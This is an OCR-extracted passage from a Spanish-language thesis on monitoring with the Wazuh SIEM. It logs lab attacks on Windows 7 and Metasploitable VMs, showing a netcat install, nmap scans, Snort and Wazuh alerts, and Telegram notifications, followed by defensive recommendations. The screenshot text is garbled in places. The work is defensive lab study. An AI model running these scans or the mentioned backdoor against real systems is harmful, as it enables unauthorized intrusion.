Faulting process id: Ox1fc

Faulting application start time: 0x01da966053dfef64

Faulting application path: C:\Windows\System32\spoolsv.exe

Faulting module path: C:\Windows\system32\kernel32.dll

Report Id: 656088a0-17c9-11ef-9ata-000c29edalea"

rule.description - Windows application error event.

Figura 111

Logs de ejecucion del exploit

Nota: Ataque W7

data.win.eventdata.processName - C:\\Windows\\System32\\services.exe
data.win.system.message - "An account was successfully logged on.
Process Information:

Process ID: Ox1le8

Process Name: C:\Windows\System32\services.exe
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This event is generated when a logon session is created. It is generated on the computer
that was accessed.

The subject fields indicate the account on the local system which requested the logon.
This is most commonly a service such as the Server service, or a local process such as

Winlogon.exe or Services.exe.

El segundo evento es un inicio de sesién exitoso iniciado por el proceso
services.exe con ID Ox1e8. El mensaje indica que una cuenta de servicio local o un
proceso local, como Winlogon.exe o Services.exe, ha solicitado el inicio de sesion. Este
evento es tipico de los servicios del sistema o procesos esenciales, indicando que el
sistema estd ejecutando operaciones internas normales, aunque también puede ser
relevante para auditorias de seguridad y monitoreo de accesos.

En conjunto, estos logs resaltan tanto un problema técnico significativo que
requiere atencion, como el fallo en spoolsv.exe, asi como actividades operativas
normales, como el inicio de sesidn por services.exe, proporcionando una vision integral

del estado del sistema y posibles dreas de intervencion.

Monitoreo ataque web server

Para realizar una simulacién de ataque al servidor web, se dispone de los
siguientes insumos:
e Maigquina atacante con sistema operativo Linux. Distribucion Kali Linux
e Servidor Wazuh

e Servidor web (metasploitable), con agente Wazuh
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Desarrollo:

Para efectuar el ataque se sigue los siguientes pasos:

» Instalar el servicio netcat en la miquina atacante mediante el comando apt-get
update; apt install -y netcat

» Ejecutar un escaneo al servidor web mediante uso del sercvicio nmap

Figura 112

Comando nmap

] root@kali: ~

File Actions Edit View Help

telnet
smtp
domain

Nmap done: 1 IP a ess

Nota: Escaneo de red

e Verificar los eventos reportados por el agente de la mdquina atacada
(metasploitable) en el servidor wazuhun escaneo al servidor web mediante uso

del sercvicio nmap.



Figura 113

Resultado en Wazuh

File Actions Edit View

Mmap scan report
Host is up ( 2
Not show 977
PORT STATE SERVICE
1/tc open ftp
open ssh
open
open
open
open
open
apen
open
open
apen
apen
apen
open
open
ccproxy

open
open
open

mysql
postgresgl
vnc

11
irc
9/tcp open ajpl
p open unknown

MAC Address: 08:00 81:FB:C9 (Ora irtualBox virtuwal NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.48 seconds

Nota: Dashboard wazuh

e Se valida reaccién en tiempo real de los procesos de notificacién

Telegram.

Figura 114

Alertas a telegram

grupo_alertas_wazuh_uide

{"description™ "System Audit event.”, "alert_level":
"metasploitable"}

| "agent’:

{"description™ "System Audit event.”, "alert_level": "3", "agent":
"metasploitable”}

{"description’: "System Audit event.”, "alert_level": "3", "agent":
“metasploitable”} 1

{"description™: "System Audit event.”, "alert_level": "3", "agent":
"metasploitable”}

{"description"; "Systern Audit event.”, "alert_level":
“metasploitable"}

"agent”:

{"description": "System Audit event”, "alert_level": "3", "agent":
"metasploitable”}

{"description” "System Audit event.
“metasploitable"}

lert_level

agent’:

{"description”: "System Audit event.”, "alert_level": "3", "agent":
"metasploitable’

Host-based anomaly detection event (rootcheck).”,
, "agent”: "wazuh-server"}

{"descriptiol
“alert_level":

{"description: "Listened ports status (netstat) changed (new port
opened or closed).”, "alert_level: "7", "agent": "wazuh-server"}

|

"description™: "Host-based anomaly detection event (rootcheck).”, %

alert_level’: "7, "agent": "wazuh-server” i
g g } G00)-
{"description”: "Wazuh server started.", "alert_level"; "3", "agent": |
"wazuh-server"} RLE
@[
{"description™: "System Audit event.”, "alert_level": "3", "agent”: e
"metasploitable”} |
e W

Nota: Notificaciones a telegram de wazuh
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inmediata
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Para efectuar el ataque se sigue los siguientes pasos:
Ejecutar un escaneo al servidor web mediante del siguiente comando:
nmap -p- -A -T4 192.168.43.70

Figura 115

Comando nmap -p -A -T4

root@kali: ~
root@kali: ~ 93x24

-~

nma -T4 192.168.43.70
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-@5-21 18:14 -85

Nota: Escaneo al servidor web

Se observa el siguiente el escaneo en la maquina atacada
Figura 116
Resultado del comando

T4 192.168.43.70

op p vsftpd 2.3.4
Anonymous FTP login allowed (FTP code 230)

No session bandwidth limit
on timeout in seconds
Control connection is plain xt
ions will be plain text
ure, fast, stable

OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
cd (DSA)
3 (RSA)
teln
open  smtp Postfix smtpd

pported

SSL2_RC4_128_WITH_MDS
XPORT4@_WITH_MD5

sl _EXPORT4@_WITH_MD5S
_EDE3_CBC_WITH_MDS
».localdomai » VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, BBITMIME, DSN
00:00; +1s from scanner tim
H je 0 a localdomain/organizationName=0COSA/stateOrProvinceName=There is no ich thing outside US/countryNames=XX
| Not valid before: 2
|_Not valid after
open domain ISC BIND 9.4.2
id:
Apache httpd 2 8 ((Ubuntu) DAV/2)
| _http-server-heade che/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux

Nota: Escaneo al servidor web
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Evidenciar la captura de trafico mediante el firewall Pfsense y su paquete
Ids/Snort.
Figura 117
Captura de trafico

Services / Snort/ Alerts (=]

Snort Interfaces Global Settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt Sync

Alert Log View Settings

Interface to Inspect DMZ (em2) v [ Auto-refresh view
Choese interface.

Alert Log View Filter [+]

166 Entries in Active Log

Date Action Pri Proto Class Source IP SPort Destination IP DPort GID:SID Description
2024-05-21 3 TCP Not Suspicious 10.0.1.2 57714 10.10.10.3 8180 119:4 (http_inspect) BARE BYTE UNICODE ENCODING
17:30:22 Traffic Q Q x

TCP Unknown Traffic 10.10.10.3 80 10.0.1.2 60824 120:3 (http_inspect) NO CONTENT-LENGTH OR

Nota: Escaneo al servidor web

Figura 118

Captura de trafico

e.uide.ciber - Se; #® Wazuh - Wazuh

10.0.1.1

rot OS

2024-05-21 3 TCP 8180 10.0.1.2 43004 (http_inspect) NO CONTENT-LENGTH OR
17:30:00 Q TRANSFER-ENCODING IN HTTP RESPONSE
2024-05-21 3 TCP Unknown Traffic  10.0.1.2 43136 10.10.10.3 8180 (http_inspect) INVALID CONTENT-LENGTH OR
17:30:00 Q CHUNK SIZE

2024-05-21 2] [TCP] Potentially Bad Jll10.0.1.2] 60184 10.10.10.3] 2] (ftp_teinet) FTP bounce attemp]

[17:30.00 Traffic] Q

2024-05-21 3 TCP Unknown Traffic  10.0.1.2 45814  10.10.10.3 80 (http_inspect) UNKNOWN METHOD

17:30:00 Q

2024-05-21 3 TCP Unknown Traffic  10.10.10.3 8180 10.0.1.2 43102 (http_inspect) NO CONTENT-LENGTH OR
17:29:50 Q TRANSFER-ENCODING IN HTTP RESPONSE
2024-05-21 3 TCcP Unknown Traffic  10.0.1.2 43004  10.10.10.3 8180 1 (http_inspect) INVALID CONTENT-LENGTH OR
17:30:00 Q CHUNK SIZE

2024-05-21 3 TCP Unknown Traffic  10.10.10.3 8180 10.0.1.2 43114 (http_inspect) NO CONTENT-LENGTH OR
17:29:50 Q Q TRANSFER-ENCODING IN HTTP RESPONSE

Nota: Escaneo al servidor web
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Mediante el agente instalado en la estacion end point que hace las funciones de

Firewall (Pfsense), envia los eventos capturados hacia el servidor Wazuh.

Figura 119

Envio de eventos

@ C O

rot OS [ Hack The Box [3J OSINT Services

10.10.10.4.

D VulnDB [ Privacy and Security

DiLearning R

Q WOZUh_ ~ metasploitable Security events @ a @
rity Alerts e
Time Techniquets) Tactie(s) Deseription Lever Rute 1D
e T1078 S el A eenceipeg Vsftpd: FTP Authentication success. a 11402
25;53'12:?2; = vsftpd: FTP session opened. a 11401
Sl ey RV . .
el telnetd: Remote host established a telnet connection 3 5602
Zsasoraont Web server 400 error code 5 301

22:30:01.208

Nota: Escaneo al servidor web

Figura 120

Envio de eventos

(S @ Cc O&

10.10.10.4,

O Parrot OS [ Hack The Box [3 OSINT Services (3 Vuln DB [3 Privacy and Security (3 Learning Resources

= () waAzuh. Vv  Management | Rules al <
Rules (4372 T -
( ) [3 Manage rules files @ Add new rules file C Refresh sy Export formatted
From ou can manage ile
rct waQL Custom rules
ID ™ Description Groups. Regulatory compliance Level  File Path
1 Generic template for all sysiog rules syslog 0 0010-rules_config.xmi ruleset/rules
2 Generic template for all firewall rules. firewall 0 0010-rules_config.xml ruleset/rules
3 Generic template for all ids rules ids 0 0010-rules_config.xmi ruleset/rules
4 Generic template for all web rules web-log 0 0010-rules_config.xmi ruleset/rules
5 Generic template for all web proxy rules. squid 0 0010-rules_config.xmi ruleset/rules
6 Generic template for all windows rules. windows 0 0010-rules_config.xmi ruleset/rules
7 Generic template for all wazuh rules ossec 0 0010-rules_config.xm ruleset/rules

Nota: Escaneo al servidor web
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El servidor Wazhu realiza una estadistica de eventos capturados

Figura 121

Estadistica de eventos

< @ C O4aE

O Parrot OS [0 Hack The Box (3 OSINT Se O Vuln DB [T Privacy and Security [0 Learning Resources

= O Wdzuh_ ~ Modules metasploitable Security events @ a

UMeStamp per SU minutes UMESTamp per SU minutes
Top 5 alerts s Top § rule groups s Top 5 PCIDSS Requirements
® ProFTPD: FTP sessl @ sysiog 10.25
' @ Web server 400 err-- ® connection_attempt ‘ ®22

@ vsftpd; FTP session ... @ proftpd ®na
@ vsftpd: FTP Authent. @ sca @55
@ telnetd: Remote hos. ® vsftpd ® 1061

Nota: Escaneo al servidor web

El servidor Wazuh tiene la capacidad de detallar el evento capturado
Figura 122

Estadistica de eventos

vsftpd: FTP Authentication success. 7 View alerts of this Rule

~ Information

5] Level File Path
11402 3 o185 -vsftpd_rules.xml ruleset/rules

=%, syslog, vsftpd

~ Details

" sict Match
11400 pattern: OK LOGIN:

~ Cempliance

GPG 13 GDPR HIPAA Tsc

Nota: Escaneo al servidor web



Generar reporte de eventos

Figura 123

Reporte de evento

O wazuh. Management
vsftpd: FTP Authentication success

~ Information

[ Level File.
11402 3 o185-vsftpd_rules.xml

Groups

authentication_succe: yslog, vsftpd

~ Details

W_sicd atch
11400 pattern: OK LOGIN:

~ Compliance

@pG 13 GDPR HIPAA

Nota: Escaneo al servidor web

Figura 124

Reporte de evento

wazuhn.

Alerts summary

info@wazuh_.com
https://wazuh.com

set/rules

on opened. 3
11401 pd: FTP session opened 3 15
31107 Web server 400 error code. s
11402  wsfrpd: FTP Authentication success 3
533 Listened ports status (netstat) chanzed (new port opened or closed) 7 &
5602 telnetd: Remote host established s telnet connection 3 &
11252 ProFTPD: Multiple connection sttempts from Same source. 10 3
3334 Postfix started 3 2
502 Wazuh server started. 3 2
503 Wazuh agent started. 3 2
19007 €IS benchmark for Debian/Linux @ L2: Ensure SSH X11 forwarding is disabled 7 1
19007 €IS benchmark for Debian/Linux 9 L2: Ensure sudit log storage size is configured 7 1
19007 €IS benchmark for Debian/Linux 9 L2: Ensure sudit logs are not automatically deleted 7 1
19007 €IS benchmark for Debian/Linux @ L2: Ensure changes to system administration scope (sudoers) is collected 7
19007 €IS benchmark for Debian/Linux @ L2: Ensure discretionany sccess control permission medificetion events are 7 1
collected
19007 €IS benchmark for Debian/Linux @ L2: Ensure events that modify date and time information sre collected 7 1
19007 €IS benchmark for Debian/Linux @ L2: Ensure events that modify the systerm’s Mandstory Access Controls are 7 1
collected (AppArmor)
19007  <€IS benchmark for Debian/Linux @ L2: Ensure events that modify the system’s Mandstory Access Controls are 7 1
collected (SELinux)
19007 €IS benchmark for Debian/Linux @ L2: Ensure events that modify the system’'s network environment sre collected 7 1
19007 €IS benchmark for Debian/Linux 9 L2: Ensure events that modify user/group information are collected 7 1
19007 €IS benchmark for Debian/Linux 9 L2: Ensure file deletion everts by users are collected 7 1
19007 €IS benchmark for Debian/Linux 9 L2: Ensure kernel module loading and unlosding is collected 7 1
19007 €IS benchmark for Debian/Linux @ L2: Ensure login and logout events are collected 7 1
19007 €IS benchmark for Debian/Linux @ L2: Ensure separate partition exists for /home 7 1
19007 €IS benchmark for Debian/Linux @ L2: Ensure separate partition exists for fvar 7 1
19007 €IS benchmark for Debian/Linux @ L2: Ensure sepsrate partiticn exists for fvarilog 7 1

Nota: Escaneo al servidor web



Se evidencia reaccion instantdnea de mensajeria Telegram,
de alertas.
Figura 125

Notificaiones via telegram

3 members

O grupo_alertas_wazuh_uide

- {"description": "ProFTPD: FTP session ", "alert_level":
"3", "agent": "metasploitable"} 17:30

{"description": "ProF TPD: FTP session opened.’, “alert_level":
"3", "agent": "metasploitable"} {746

{"description”: "Web server 400 error code.", "alert_level": "5",
“agent": "metasploitable’} 17:30

{"description": "Web server 400 error code.’, "alert_level": "5",
"agent": "metasploitable"} 17:30

{'description": "Web server 400 error code.’, "alert_level": "5",
"agent": "metasploitable"} 17:30

{'description": "Web server 400 error code.’, “alert_level": "5",
"agent": “metasploitable”} 17:30

{"description”: "telnetd: Remote host established a telnet
connection.’, "alert_level": "3", "agent": "metasploitable’} |,

{"description"; "vsftpd: FTP session opened.', "alert_level": "3",
"agent": "metasploitable"} 17:30

{"description": "vsftpd: FTP Authentication success.",
“alert_level": "3", "agent": "metasploitable"} 17:31

{"description": "vsftpd: FTP session opened.', "alert_level": "3",
"agent": "metasploitable"} 1731

Nota: Escaneo al servidor web
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detallando el nivel
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CAPITULO V

CONCLUSIONES Y RECOMENDACIONES

En este capitulo se presenta el resultado de un exhaustivo trabajo de aprendizaje
y experimentacion en el dmbito de la ciberseguridad y la implementacién de
infraestructuras SIEM. Durante el desarrollo del proyecto, se adquirieron
conocimientos sobre Ciberinteligencia, Hacking Etico, y tecnologias emergentes como
los Sistemas de Gestion de Informacion y Eventos de Seguridad (SIEM). Este estudio
practico permitié configurar e integrar herramientas como Wazuh para la recoleccion
de logs, proporcionando visibilidad en tiempo real y facilitando respuestas adecuadas
ante incidentes de seguridad.

La implementacion del SIEM Open Source Wazuh demostré ser una solucion
viable y robusta para la recoleccion y andlisis de logs, permitiendo a las empresas
establecer planes de recuperacion ante desastres y realizar andlisis de riesgos basados
en evidencias concretas. Se logré una mayor visibilidad de los eventos criticos,
posibilitando a los especialistas en seguridad tomar decisiones informadas y oportunas
para prevenir comportamientos andmalos y mitigar potenciales amenazas.

El uso de GNS3 para la simulacién de redes y la realizacién de pruebas de
penetracién permitié una comprensién profunda de la configuracién y seguridad de
redes. La ejecucion de ataques controlados, como la explotacién de vulnerabilidades en
una maquina con Windows 7 mediante Kali Linux y la creacién de una puerta trasera
en un servidor web Linux, proporcioné valiosas lecciones sobre las técnicas de ataque
y las medidas defensivas necesarias para proteger los sistemas.

Comparando Wazuh con soluciones propietarias como LogRhythm, se observé

que Wazuh proporciona un excelente dashboard que permite a los especialistas en



seguridad interactuar con las alertas en tiempo real. No obstante, Wazuh puede
depender en gran medida de la comunidad para casos de uso especificos, lo que puede
llevar a cuestionar la confiabilidad de estos casos de uso encontrados en repositorios
publicos como GitHub. La eleccién entre software de seguridad Open Source y
propietario debe basarse en las necesidades especificas del cliente, el tiempo de
implementacién y el presupuesto disponible.

Finalmente, se concluye que una correcta integracién y configuracién de un
SIEM permite a las empresas no solo monitorear en tiempo real sus activos criticos,
sino también anticiparse a posibles amenazas, garantizando una respuesta efectiva y
oportuna ante incidentes de seguridad. Durante este periodo, se adquirié una
comprension profunda sobre ciberinteligencia, hacking ético, seguridad informatica, asi
como las capacidades y limitaciones de las tecnologias SIEM. La combinacion de
Wazuh y GNS3 permitié simular y gestionar una infraestructura de red compleja,
facilitando la identificacion y mitigacion de ataques en madquinas virtuales como
Windows 7 y servidores web. Este entorno de pruebas permitid evidenciar
comportamientos andmalos y responder de manera répida y eficiente, mejorando

significativamente la postura de seguridad de la infraestructura.

Recomendaciones

Para mitigar los ataques observados y mejorar la seguridad en la infraestructura

SIEM implementada, se recomiendan las siguientes acciones detalladas:

Evaluacion de Necesidades:

Realizar un andlisis exhaustivo de las necesidades del negocio antes de elegir e
implementar un SIEM. Esto incluye considerar el tamafo de la empresa, la cantidad

de datos generados y la criticidad de los activos que necesitan ser monitoreados.



Para empresas pequeiias, un SIEM Open Source como Wazuh puede ser
suficiente. Sin embargo, empresas medianas o grandes con rapido crecimiento podrian
requerir un SIEM con caracteristicas avanzadas como andlisis de comportamiento de
usuarios y entidades (UEBA), inteligencia artificial y machine learning para detectar

anomalias.

Dimensionamiento Correcto:

Dimensionar adecuadamente las fuentes de monitoreo y los eventos a evaluar. No
es Optimo analizar todos los eventos, ya que esto puede sobrecargar los recursos del
SIEM y generar gastos innecesarios.

Filtrar los logs y programar qué eventos deben ser enviados al correlacionador,

evitando el andlisis de eventos irrelevantes y optimizando los recursos del SIEM.

Programa de Retencion de Logs:

Implementar un buen programa de retencion de logs en el correlacionador para
permitir un andlisis investigativo efectivo. Esto es crucial para identificar eventos
similares ocurridos en el tiempo y mejorar la detecciéon de amenazas.

Definir politicas claras sobre cuédnto tiempo se deben retener los logs, basadas en

las necesidades de la empresa y las regulaciones aplicables.

Paneles de Monitoreo Especificos:

Configurar paneles de monitoreo especificos en la consola de administracién del
SIEM. Estos paneles deben enfocarse en caracteristicas criticas como tipo de servicio,
sistema operativo, gestion de cuentas de Active Directory, integridad de archivos,
entre otros.

Asegurar que los paneles sean intuitivos y que faciliten la rdpida identificacioén y



respuesta a incidentes.

Integracion con Herramientas de Comunicacion:

Establecer integraciones con herramientas de comunicacién empresarial como
Slack, Telegram o correo electrénico para notificaciones en tiempo real. Esto asegura
que los administradores reciban alertas criticas de manera inmediata,
independientemente de su ubicacion.

Configurar alertas de diferentes niveles de criticidad para que solo las mds
importantes interrumpan a los administradores, reduciendo el ruido y mejorando la

eficiencia en la respuesta.

Pruebas de Vulnerabilidades y Penetracion:

Realizar pruebas de vulnerabilidades y penetracion periddicas para identificar y
corregir puntos débiles en la infraestructura. Documentar detalladamente los hallazgos
y las recomendaciones de mitigacion.

Incluir una variedad de pruebas, desde escaneos automatizados hasta evaluaciones

manuales realizadas por profesionales de seguridad.

Actualizacion y Parches de Seguridad:

Establecer una politica formal para la gestion de parches que incluya la
identificacion, evaluacion, prueba e implementacién de parches de seguridad en todos
los sistemas. Utilizar herramientas automatizadas como Windows Server Update
Services (WSUS) o sistemas de gestion de parches para asegurar que todos los
sistemas estdn actualizados.

Realizar revisiones periddicas de vulnerabilidad utilizando herramientas como

OpenVAS o Nessus para identificar sistemas desactualizados o con vulnerabilidades



conocidas que deben ser parchadas.

Implementacion de Politicas de Seguridad:

Implementar politicas de contrasefias seguras que incluyan requisitos de longitud,
complejidad y periodicidad de cambios. Utilizar autenticacion multifactor (MFA) para
acceder a sistemas criticos.

Configurar las cuentas de usuario y los permisos de acceso basados en el principio
de privilegios minimos, limitando el acceso a los recursos necesarios para desempefiar
las funciones especificas del trabajo.

Implementar y monitorear controles de acceso basados en roles (RBAC) para
asegurar que los usuarios solo tienen acceso a los recursos necesarios para sus

funciones.

Monitorizacion y Andlisis Continuo de Logs:

Configurar Wazuh para centralizar la recoleccion de logs de todos los dispositivos
y aplicaciones criticas. Asegurar que se estan recolectando todos los logs importantes,
incluyendo registros de sistemas operativos, firewalls, IDS/IPS, y aplicaciones.

Desarrollar reglas de correlacion personalizadas en Wazuh para detectar patrones
de comportamiento andmalo y posibles incidentes de seguridad. Utilizar inteligencia
de amenazas para ajustar y mejorar continuamente estas reglas.

Configurar alertas y notificaciones en tiempo real para eventos criticos que
requieran una respuesta inmediata. Integrar con sistemas de notificacion como Slack,
Telegram o correos electronicos para asegurar que los incidentes importantes son

reportados y atendidos rdpidamente.



Seguridad de Aplicaciones Webs:

Realizar pruebas de seguridad en aplicaciones web utilizando técnicas de analisis
estatico (SAST) y dindmico (DAST) para identificar vulnerabilidades como
inyecciones SQL, cross-site scripting (XSS) y configuraciones de seguridad
incorrectas.

Implementar Firewalls de Aplicaciones Web (WAF) para proteger aplicaciones
web contra ataques comunes. Configurar reglas personalizadas para bloquear intentos
de explotaciéon conocidos y monitorear el trafico en busca de comportamientos

sospechosos.

Herramientas de Deteccion y Respuesta a Incidentes (EDR):

Integrar herramientas de detecciéon y respuesta en endpoints (EDR) como
CrowdStrike, Carbon Black o SentinelOne para complementar las capacidades del
SIEM. Estas herramientas ofrecen proteccion avanzada contra amenazas en endpoints
y permiten una respuesta rapida ante incidentes.

Configurar playbooks de respuesta automatizada para incidentes comunes
utilizando herramientas de orquestacion y automatizacion de la seguridad (SOAR).
Esto puede incluir la cuarentena de dispositivos comprometidos, la contencién de

malware y la notificacién automatica de incidentes a los equipos de seguridad.
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